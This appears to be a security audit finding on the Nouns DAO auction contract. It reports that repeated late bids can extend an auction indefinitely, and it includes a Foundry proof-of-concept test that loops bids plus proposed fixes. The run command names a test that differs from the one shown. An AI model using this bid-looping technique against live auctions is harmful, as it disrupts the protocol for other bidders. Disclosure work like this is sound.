Brief Honey Penguin
Medium
The function createBid()
in the contract NounsAuctionHouseV3
allows bidders to extend the auction duration by repeatedly submitting bids within the _timeBuffer
period just before the auction ends. The current logic:
bool extended = _auction.endTime - block.timestamp < _timeBuffer;
if (extended) {
auctionStorage.endTime = _auction.endTime = uint40(block.timestamp + _timeBuffer);
emit AuctionExtended(_auction.nounId, _auction.endTime);
}
means that any bid received within the _timeBuffer
period before the auction end will extend the auction by _timeBuffer
seconds. This creates a vulnerability that allows the auction to be indefinitely extended, clipping into other auction periods causing a DOS due to the inability to settle the auction or create a new one.
https://github.com/sherlock-audit/2024-11-nounsdao/blob/main/nouns-monorepo/packages/nouns-contracts/contracts/NounsAuctionHouseV3.sol#L145-L183 in NounsAuctionHouseV3.sol#NounsAuctionHouseV3::createBid()
bool extended = _auction.endTime - block.timestamp < _timeBuffer;
if (extended) {
auctionStorage.endTime = _auction.endTime = uint40(block.timestamp + _timeBuffer);
emit AuctionExtended(_auction.nounId, _auction.endTime);
}
- maliciousBidder creates a bid (the bid amount will always be incremented by the minimum bid percent) close to the end of the current auction bid endtime.
- since the bid was created in within the time buffer period, the current auction end time increases
- maliciousBidder repeats the process and cause the current auction end time to be extended indefinitely
A single malicious bidder can exploit the _timeBuffer
mechanism to indefinitely delay the conclusion of the auction, effectively causing a Denial of Service (DoS) for other participants. By placing bids just before the end of the auction, the attacker can ensure that the auction is continuously extended, making it impossible for other participants to finalize the auction and claim the asset.
The protocol is meant to auction an NFT every 24 hours. If the current auction keeps getting extended, it will overlap into the scheduled time for the next auction, which could cause delays and disrupt the entire auction schedule. This continuous delay may damage the protocol's reputation and undermine its reliability, as users could lose faith in the platform's ability to maintain a consistent and predictable auction schedule.
This can also impact the 24hr scheduling and forwarding of streams
copy and paste this in NounsAuctionHouseV3Test
function test_AuctionEndTimeExtensionLimit() public {
address bidder = makeAddr('bidder');
// we give the bidder 1eth to start
vm.deal((bidder), 1 ether);
vm.startPrank(bidder);
uint128 nounId = auction.auction().nounId;
uint40 startTime = auction.auction().startTime;
// we wait till just shy of the end time and then place a bid
vm.warp(startTime + 86398 /*shy of 24 hrs (86400)*/);
for (uint256 index = 0; index < 1000 /*do this 1000 time*/; index++) {
uint128 auction_bid = auction.auction().amount;
uint128 bid = auction_bid + ((auction_bid * auction.minBidIncrementPercentage()) / 100); //increase by 2%
//after creating a bid, it increases by the timeBuffer giving us more time
auction.createBid{ value: bid + 1 }(nounId);
// we wait till just shy of the new end time and then we place a bid again
vm.warp(block.timestamp + 288 /*shy of 5 mins (300)*/);
}
uint40 endTimeAfterBid = auction.auction().endTime;
console.log((endTimeAfterBid - startTime), auction.auction().amount);
console.log(address(bidder).balance, address(auction).balance);
// while this is on going, we are unable to settle and create a new auction,
// potentially DOS the auction and delaying the forwarding of stream
vm.expectRevert("Auction hasn't completed");
auction.settleCurrentAndCreateNewAuction();
vm.stopPrank();
// allowing use to indefinitely increase the current auction endtime
}
then run the test forge test --mt test_AuctionEndTimeSurpasses24hrs -vvv
- Limit Extensions: Set a maximum number of extensions that can be allowed for an auction. For example, allow the auction to be extended only 5 times before the end time is considered final.
mapping(uint256 => uint8) public extensionCount;
uint8 constant MAX_EXTENSIONS = 5;
if (_auction.endTime - block.timestamp < _timeBuffer && extensionCount[_auction.nounId] < MAX_EXTENSIONS) {
extensionCount[_auction.nounId]++;
auctionStorage.endTime = _auction.endTime = uint40(block.timestamp + _timeBuffer);
emit AuctionExtended(_auction.nounId, _auction.endTime);
}
- Dynamically Decrease Buffer Time Gradually: Reduce the
_timeBuffer
value progressively after each extension or Implement diminishing returns for extensions, which would limit the time window for new bids to extend the auction further and prevent indefinite extensions.